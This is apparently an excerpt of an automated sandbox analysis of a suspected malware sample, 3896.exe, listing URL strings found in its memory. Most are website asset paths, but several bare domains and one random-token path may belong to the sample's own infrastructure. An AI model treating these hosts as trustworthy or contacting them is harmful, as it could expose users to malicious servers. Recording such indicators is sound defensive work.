Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/agents-brokers/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/awards-certificates/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/our-facilities/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/privacy-policy/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/referral-program/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/rohs/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/satisfaction-guarantee/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/shipping-cost/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/terms-of-service/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.2.2
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/plugins/lightbox-2/lightbox.js?ver=1.8
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/plugins/wp-simple-firewall/resources/js/shield/notbot.js?ver=16.1.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/images/login1.gif
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/images/register1.gif
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/images/shopping_car.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/js/easySlider.js
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/js/jquery-ui.min.js
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/style.css
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/hoverIntent.js
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/superfish.js
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/thematic-dropdowns.js
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-includes/css/dist/block-library/style.min.css?ver=5.5.11
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-includes/wlwmanifest.xml
Source: 3896.exe, 0000000C.00000002.593397454.0000000007744000.00000004.00000020.00020000.00000000.sdmp, 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.myropcb.com%2F
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.myropcb.com%2F&format=xml
Source: 3896.exe, 0000000C.00000002.593397454.0000000007744000.00000004.00000020.00020000.00000000.sdmp, 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/wp/v2/pages/28
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/xmlrpc.php
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/xmlrpc.php?rsd
Source: 3896.exe, 0000000C.00000002.593397454.0000000007723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ora.ecnet.jp/
Source: 3896.exe, 0000000C.00000002.593397454.0000000007723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ora.ecnet.jp/m
Source: 3896.exe, 0000000C.00000002.593397454.0000000007723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ora.ecnet.jp/mD
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-gdpr.css?ver=2.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-public.css?ver=
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-table.css?ver=2
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/js/cookie-law-info-public.js?ver=2.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/download-now-for-woocommerce/assets/css/somdn-style.css?ve
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/download-now-for-woocommerce/assets/js/somdn_script.js?ver
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/dt-the7-core/assets/css/post-type.min.css?ver=2.5.7.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.3.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.3.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.3.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js?ver=3.3.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.3.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver=3.3
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.8.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ve
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.eot?5.10.0);src:u
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.svg?5.10.0#eicon)
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.ttf?5.10.0)
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff2?5.10.0)
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/brands.min.css?ver=5
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.css?
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=3.3.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/swiper/swiper.min.js?ver=5.3.6
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/email-subscribers/lite/public/css/email-subscribers-public
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/email-subscribers/lite/public/js/email-subscribers-public.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/feedback-modal-for-website/assets/css/fm-public.css?ver=1.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/feedback-modal-for-website/assets/icons/line-awesome/css/l
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/feedback-modal-for-website/assets/js/fm-public.js?ver=1.0.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/css/frontend.min.css?ver=3.3.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/preloaded-elements-handlers.min.js?
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/webpack-pro.runtime.min.js?ver=3.3.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/lib/sticky/jquery.sticky.min.js?ver=3.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/show-hidecollapse-expand/assets/css/bg-show-hide.css?ver=5
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/show-hidecollapse-expand/assets/css/genericons/genericons.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/show-hidecollapse-expand/assets/js/bg-show-hide.js?ver=5.8
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules-pro/Assets/Css/awdr_style.css?ver=2.3.7
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Css/customize-table.css?ver=2
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/awdr-dynamic-price.js?ver=
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.7
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/css/gpls_woo_rfq.css?v
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/css/front.css?ver=1.3.7
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/chosen/chosen.jquery.min.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/chosen/chosen.min.css?ver
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/front.js?ver=1.3.7
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/price-slider_33.js?ver=1.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/css/style.css?ver=3.1.7
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/css/toggle-switch.css?ver=3.1.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/js/add-to-cart.js?ver=3.1.7
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-pdf-catalog/public/css/woocommerce-pdf-catalog
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=5.5.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=5
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=5.5.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-ui-touch-punch/jquery-ui-touc
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style.css?ve
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/vendors-styl
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/css/compatibility/elementor/elementor-global.min.cs
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/css/main.min.css?ver=9.12.0
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/fonts/FontAwesome/css/all.min.css?ver=9.12.0
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/fonts/icomoon-the7-font/icomoon-the7-font.min.css?v
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/js/above-the-fold.min.js?ver=9.12.0
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/js/compatibility/woocommerce/woocommerce.min.js?ver
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.css?ver=9
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.js?ver=9.
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/lib/jquery-mousewheel/jquery-mousewheel.min.js?ver=
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/style.css?ver=9.12.0
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/global.css?ver=1664959878
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1009.css?ver=1670679061
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1185.css?ver=1664959878
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/post-17.css?ver=1664959878
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/favicon.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/compatibility/wc-dt-custom.css?ver=899328ee298e
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/custom.css?ver=899328ee298e
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/media.css?ver=899328ee298e
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/the7-css/post-type-dynamic.css?ver=899328ee298e
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/css/dist/block-library/style.min.css?ver=5.8
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/core.min.js?ver=1.12.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-blind.min.js?ver=1.12.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-fold.min.js?ver=1.12.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-highlight.min.js?ver=1.12.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-slide.min.js?ver=1.12.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/effect.min.js?ver=1.12.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.12.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/jquery/ui/slider.min.js?ver=1.12.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/js/wp-embed.min.js?ver=5.8
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-includes/wlwmanifest.xml
Source: 3896.exe, 0000000C.00000002.592948728.0000000005B19000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.synetik.net
Source: 3896.exe, 0000000C.00000002.592786919.0000000004BBD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.usadig.com
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg1.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg3.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg4.png
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winhui.cn/template/default/img/fixedimg6.png
Source: 3896.exe, 0000000C.00000002.592992784.0000000005F5D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com
Source: 3896.exe, 0000000C.00000002.593397454.0000000007723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.wnsavoy.com/
Source: 3896.exe, 0000000C.00000002.593397454.0000000007723000.00000004.00000020.00020000.00000000.sdmp, 3896.exe, 0000000C.00000002.593397454.0000000007760000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yoruksut.com/
Source: 3896.exe, 0000000C.00000002.593397454.0000000007723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yoruksut.com/q6IWK1q4JFv4rNa1j1w0JQJD
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js?ver=1.7.1
Source: 3896.exe, 0000000C.00000002.592727241.0000000004040000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/effects.js?ver=1.9.0
